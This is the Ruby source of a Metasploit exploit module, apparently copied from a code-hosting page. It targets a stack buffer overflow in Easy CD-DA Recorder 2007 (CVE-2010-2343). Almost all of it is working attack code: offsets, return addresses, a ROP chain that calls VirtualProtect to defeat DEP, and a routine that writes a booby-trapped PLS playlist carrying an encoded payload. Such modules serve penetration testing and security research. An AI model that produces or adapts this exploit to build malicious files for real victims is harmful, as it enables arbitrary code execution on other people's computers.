120 lines
3.7 KiB
Ruby
120 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Easy CD-DA Recorder PLS Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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Easy CD-DA Recorder 2007 caused by an overlong string in a playlist entry.
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By persuading the victim to open a specially-crafted PLS file, a
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remote attacker can execute arbitrary code on the system or cause
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the application to crash. This module has been tested successfully on
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Windows XP SP3 and Windows 7 SP1.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'chap0', # Vulnerability discovery and original exploit
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'Gabor Seljan', # Metasploit module
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'juan vazquez' # Improved reliability
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],
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'References' =>
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[
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[ 'BID', '40631' ],
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[ 'EDB', '13761' ],
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[ 'OSVDB', '65256' ],
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[ 'CVE', '2010-2343' ],
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[ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'DisableNops' => true,
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'BadChars' => "\x0a\x3d",
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'Space' => 2454,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # ADD ESP,-3500
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},
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'Targets' =>
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[
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[ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)',
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# easycdda.exe 3.0.114.0
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# audconv.dll 7.0.815.0
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{
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'Offset' => 1108,
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'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll]
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 7 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls'])
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],
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self.class)
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end
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def nops
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return make_nops(4).unpack("V").first
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end
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def rop_nops(n = 1)
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# RETN (ROP NOP) [audconv.dll]
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[0x1003d55d].pack('V') * n
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end
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def exploit
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# ROP chain generated by mona.py - See corelan.be
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rop_gadgets =
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[
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0x1007261e, # POP EDX # RETN [audconv.dll]
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0x0042a0e0, # &VirtualProtect() [IAT easycdda.exe]
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0x1003bd6b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]
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0x10035802, # XCHG EAX,ESI # RETN [audconv.dll]
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0x1005d288, # POP EBP # RETN [audconv.dll]
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0x004030c8, # &PUSH ESP # RET 0x08 [easycdda.exe]
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0x1005cc2d, # POP EBX # RETN [audconv.dll]
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0x00000996, # 0x00000996-> EBX
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0x1008740c, # POP EDX # RETN [audconv.dll]
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0x00000040, # 0x00000040-> EDX
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0x1001826d, # POP ECX # RETN [audconv.dll]
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0x004364c6, # &Writable location [easycdda.exe]
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0x00404aa9, # POP EDI # RETN [easycdda.exe]
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0x100378e6, # RETN (ROP NOP) [audconv.dll]
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0x0042527d, # POP EAX # RETN [easycdda.exe]
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nops,
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0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
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].flatten.pack('V*')
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sploit = rop_nops(target['Offset'] / 4)
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sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]
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sploit << [target.ret].pack("V")
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sploit << rop_nops(22)
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sploit << rop_gadgets
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sploit << payload.encoded
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sploit << rand_text_alpha_upper(10000) # Generate exception
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sploit)
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end
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end
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